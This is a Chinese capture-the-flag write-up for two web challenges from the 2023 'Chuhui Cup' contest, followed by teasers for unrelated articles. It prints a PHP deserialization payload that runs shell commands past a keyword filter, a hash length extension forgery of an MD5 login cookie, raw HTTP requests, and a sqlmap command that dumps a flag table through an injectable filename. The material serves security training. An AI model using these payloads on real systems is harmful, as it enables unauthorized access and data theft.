2023年国家基地“楚慧杯”网络空间安全实践能力竞赛 Web方向 题解wp

前言:三小时的比赛,和强网同时结束还要当场交wp,汗流浃背,烧起来了啊啊啊啊~

eaaeval

目录扫出备份文件

image-20231217142018364

源码如下

<?php
class Flag{public $a;public $b;public function __construct(){$this->a = 'admin';$this->b = 'admin';}public function __destruct(){if(!preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->a) && !preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->b)){system($this->a.' '.$this->b);}else{echo "again?";}}
}
$wzbz = $_GET['wzbz'];
unserialize($wzbz);
?>

简单反序列化,一点点小过滤(JB到期了呜呜呜)

image-20231217142034440

<?php
class Flag{public $a;public $b;public function __construct(){$this->a = 'admin';$this->b = 'admin';}public function __destruct(){if(!preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->a) && !preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->b)){system($this->a.' '.$this->b);}else{echo "again?";}}
}$a=new Flag();
$a->a='strings';
$a->b='/f*';echo serialize($a);
?>

payload:

?wzbz=O:4:"Flag":2:{s:1:"a";s:7:"strings";s:1:"b";s:3:"/f*";}

image-20231217150813991

upload_shell

直接俄给了源码,哈希长度扩展攻击。

image-20231217162926247

参考我*CTF的题解

-----------------------------------------------【以下是当时wp】-----------------------------------------------

访问是PHP代码,绕过了就给key,有了key就能加解密JWT,然后伪造身份得到flag。

image-20230729125528005

首先就是要解出盐(salt)。。。。

仔细一看不用解盐,我们做到$username === "admin" && $password != "root"同时md5($salt.$username.$password)===$_COOKIE["digest"]就行了。

我们已知的有

盐的长度是14

md5($salt+“adminroot”)=e6ccbf12de9d33ec27a5bcfb6a3293df


对于这种未知salt,要绕过MD5/sha1加密,目前有一个很好的办法,就是hash长度拓展攻击

(1条消息) 实验吧-让我进去【salt加密 哈希长度拓展攻击】_实验吧 admins only_Sp4rkW的博客-CSDN博客

这题有个工具叫HashPump。kali中安装方法如下(root终端依次输入)

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev 
cd HashPump
make
make install

应用场景:md5("密文"+"已知字符串")=现有哈希值

文件夹下开终端(cd进去也可以),输入hashpump

Input Signature                    #现有哈希值(题目给的MD5)
Input Data                         #已知字符串
Input Key Length                   #为密文(salt)长度
Input Data to Add                  #为补位后自己加的字符串(自定义)

image-20230729174000742

可以看到返回给我们两行内容,第一行是处理过的哈希值,第二行是处理过的已知字符串。

满足:md5("密文"+"处理过的已知字符串")=处理过的哈希值

payload:(url加密就是把\x换成%)

Cookie:digest=8ae52974e81aace9837123a520cb8179
POST:username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00Jay

image-20230729174706600

-----------------------------------------------【以上是当时wp】-----------------------------------------------

hashpumpInput Signature                    #现有哈希值(题目给的MD5)
879bd10c8628894d388c068a25326c21Input Data                         #已知字符串
adminpasswordInput Key Length                   #为密文(salt)长度
14Input Data to Add                  #为补位后自己加的字符串(自定义)
Jay17

image-20231217175435005

得到:2d01cf1b05a07a2bdfe458fbecabb216adminpassword\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x00\x00\x00\x00Jay17

payload:

POST /login.php HTTP/1.1
Host: 80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81
Content-Length: 148
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=b2a058112188061e22962bd7929d4b76;source=2d01cf1b05a07a2bdfe458fbecabb216
Connection: closepassword=password%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d8%00%00%00%00%00%00%00Jay17&username=admin

哈希扩展攻击成功后,身份是admin,在upload.php处可以就行文件上传

文件名是注入点

image-20231217145338757

image-20231217150103313

没有像XCTF upload这题一样有回显,手工尝试后只有插入失败、Warning、上传成功等等,看不透后端语句。

舍弃灵魂上sqlmap。

-r 请求模式 从文件中载入http请求

-D 指定要枚举的数据库名称

-T 指定要枚举的表名称

-C 指定要枚举的列名称

payload:

python sqlmap.py -r requests.txt -D test -T flag -C flag --dump

requests.txt文件内容:

POST /upload.php HTTP/1.1
Host: 80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81
Content-Length: 299
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8J39FBXAAZS2tGHK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81/upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: source=2d01cf1b05a07a2bdfe458fbecabb216; PHPSESSID=b2a058112188061e22962bd7929d4b76
Connection: close------WebKitFormBoundary8J39FBXAAZS2tGHK
Content-Disposition: form-data; name="file"; filename="'123*'.jpg"
Content-Type: image/jpeg<1
------WebKitFormBoundary8J39FBXAAZS2tGHK
Content-Disposition: form-data; name="submit"上传文件
------WebKitFormBoundary8J39FBXAAZS2tGHK--

注意点:'123*'.jpg*是为了指定注入点。

image-20231217182105279

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/228601.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

c++字符串和日期基础

一&#xff0c;字母三角形 #include<string> #include<iostream> using namespace std; int main() {int n 0;cin >> n;for (int i 1; i < n; i)//i代表行数{string spacestring(n - i, );//前半部分空格string ch string(2 * i - 1, A i - 1);cout…

工具在手,创作无忧:一键下载安装Auto CAD工具,让艺术创作更加轻松愉悦!

不要再浪费时间在网上寻找Auto CAD的安装包了&#xff01;因为你所需的一切都可以在这里找到&#xff01;作为全球领先的设计和绘图软件&#xff0c;Auto CAD为艺术家、设计师和工程师们提供了无限的创作潜力。不论是建筑设计、工业设计还是室内装饰&#xff0c;Auto CAD都能助…

《Linux C编程实战》笔记:文件属性操作函数

获取文件属性 stat函数 在shell下直接使用ls就可以获得文件属性&#xff0c;但是在程序里应该怎么获得呢&#xff1f; #include<sys/types.h> #include <sys/stat.h> #include <unistd.h> int stat(const char *file_name,struct stat *buf); int fstat(i…

【eNSP实验项目】eNSP实验配置项目教程,ensp安装步骤

eNSP安装教程 附安装包 eNSP介绍安装教程1.安装 VirtualBox2.安装 WinPcap3.安装 Wireshark4.eNSP安装 eNSP介绍 eNSP是华为提供的一款功能强大的网络仿真平台&#xff0c;适用于学习、实践和测试企业网络场景&#xff0c;可以帮助用户深入理解网络知识和技术。 eNSP安装,需要…

Tektronix泰克TCP303示波器电流探头

主要特点和优点&#xff1a; ● 交流/直流测量功能 ● DC~100MHz电流探头放大器&#xff08;TCPA300&#xff09;&#xff0c;当使用&#xff1a; - DC~100MHz, 30A DC&#xff08;TCP312&#xff09; - DC~50MHz, 50A DC&#xff08;TCP305&#xff09; - DC~5MHz, 150A DC&a…

关于多重背包的笔记

多重背包可以看作01背包的拓展&#xff0c; 01背包是选或者不选。多重背包是选0个一直到选s个。 for (int i 1; i < n; i) {for (int j m; j > w[i]; --j){f[j] max(f[j], f[j - 1*w[i]] 1*v[i], f[j - 2*w[i]] 2*v[i],...f[j - s*w[i]] s*v[i]);} } 由上述伪代码…

Mybatis-plus是使用,告别繁琐的CRUD编写,自动生成直接使用

目录 一、简介 1. 是什么 2. 特性 3. 框架结构 4. 常用注解 二、搭建使用 1. 依赖 2. 生成器 3. 生成 4. 引用 5. 路径访问 三、测试 四、雪花ID 每篇一获 Mybatis-plus&#xff08;简称 MP&#xff09;是一个 MyBatis (opens new window)的增强工具&#xff0c;…

VRRP协议

一.基本概念 1.概念 VRRP能够在不改变组网的情况下&#xff0c;将多台路由器虚拟成一个虚拟路由器&#xff0c;通过配置虚拟路由器的IP地址为默认网关&#xff0c;实现网关的备份。协议版本&#xff1a;VRRPv2&#xff08;常用&#xff09;和VRRPv3&#xff1a;VRRPv2仅适用于…

【基于卷积神经网络的疲劳检测与预警系统的设计与实现】

基于卷积神经网络的疲劳检测与预警系统的设计与实现 引言数据集介绍技术与工具1. OpenCV2. TensorFlow3. 卷积神经网络&#xff08;CNN&#xff09; 系统功能模块1. 视频采集模块2. 图像预处理模块3. 人脸识别模块4. 疲劳程度判别模块5. 报警模块 系统设计创新点1. 实时监测与预…

【LeetCode刷题笔记(6-1)】【Python】【三数之和】【哈希表】【中等】

文章目录 引言三数之和题目描述示例示例1示例2示例3 提示 解决方案1&#xff1a;【三层遍历查找】解决方案2&#xff1a;【哈希表】【两层遍历】结束语 三数之和 引言 编写通过所有测试案例的代码并不简单&#xff0c;通常需要深思熟虑和理性分析。虽然这些代码能够通过所有的…

【STM32】STM32学习笔记-EXTI外部中断(11)

00. 目录 文章目录 00. 目录01. 中断系统02. 中断执行流程03. STM32中断04. NVIC基本结构05. NVIC优先级分组06. EXTI简介07. EXTI基本结构08. AFIO复用IO口09. EXTI框图10. 计数器模块11. 旋转编码器简介12. 附录 01. 中断系统 中断&#xff1a;在主程序运行过程中&#xff0…

韩顺平学java第二阶段之BS框架002

这边讲了php都可以&#xff0c;反正就是打通双方的间隔就行了∑(っД;)っ卧槽&#xff0c;不见了

t-SNE高维数据可视化实例

t-SNE&#xff1a;高维数据分布可视化 实例1&#xff1a;自动生成一个S形状的三维曲线 实例1结果&#xff1a; 实例1完整代码&#xff1a; import matplotlib.pyplot as plt from sklearn import manifold, datasets """对S型曲线数据的降维和可视化"&q…

Web攻防07_文件上传基础_文件上传靶场upload-labs-docker

文章目录 项目安装安装docker进入项目目录&#xff1a;一键部署运行 靶场关卡1、前端JS验证如何判断是否为前端验证解法1&#xff1a;抓包解法2&#xff1a;禁用JS 2、.htaccess解法 3、MIME类型解法 4、文件头判断5、黑名单过滤-过滤不严-单次过滤为空格6、黑名单-过滤不严-系…

Python生成器(Generator)(继续更新...)

学习网页&#xff1a; Welcome to Python.orghttps://www.python.org/https://www.python.org/ Python生成器 生成器&#xff08;Generator&#xff09;是 Python 的一种特殊类型的迭代器。生成器允许你创建自己的数据流&#xff0c;每次从数据流中获取一个元素&#xff0c;…

活动 | Mint Blockchain 将于 2024 年 1 月 10 号启动 MintPass 限时铸造活动

MintPass 是由 Mint Blockchain 官方发行的 Mint 网络和社区的 NFT 通行证&#xff0c;将在 2024 年 1 月份启动限时铸造活动。今天这篇文章会着重向大家介绍即将举办的 MintPass 活动的基础信息。 MintPass 有 2 种类型&#xff1a; 类型 1&#xff1a;Mint Genesis NFT Mint…

Unity中Shader URP 简介

文章目录 前言一、URP&#xff08;Universal Render Pipeline&#xff09;由名字可知&#xff0c;这是一个 通用的 渲染管线1、Universal&#xff08;通用性&#xff09;2、URP的由来 二、Build-in Render Pipeline&#xff08;内置渲染管线&#xff09;1、LWRP&#xff08;Lig…

【JavaEE】多线程案例 - 定时器

作者主页&#xff1a;paper jie_博客 本文作者&#xff1a;大家好&#xff0c;我是paper jie&#xff0c;感谢你阅读本文&#xff0c;欢迎一建三连哦。 本文于《JavaEE》专栏&#xff0c;本专栏是针对于大学生&#xff0c;编程小白精心打造的。笔者用重金(时间和精力)打造&…

C语言:求和1+1/2-1/3+1/4-1/5+……-1/99+1/100

#include<stdio.h> int main() {int i 0;double sum 0.0;int flag 1;for (i 1;i < 100;i){sum 1.0 / i * flag;flag -flag;}printf("sum%lf\n", sum);return 0; }

设计模式——策略模式

引言 策略模式是一种行为设计模式&#xff0c; 它能让你定义一系列算法&#xff0c; 并将每种算法分别放入独立的类中&#xff0c; 以使算法的对象能够相互替换。 问题 一天&#xff0c; 你打算为游客们创建一款导游程序。 该程序的核心功能是提供美观的地图&#xff0c; 以…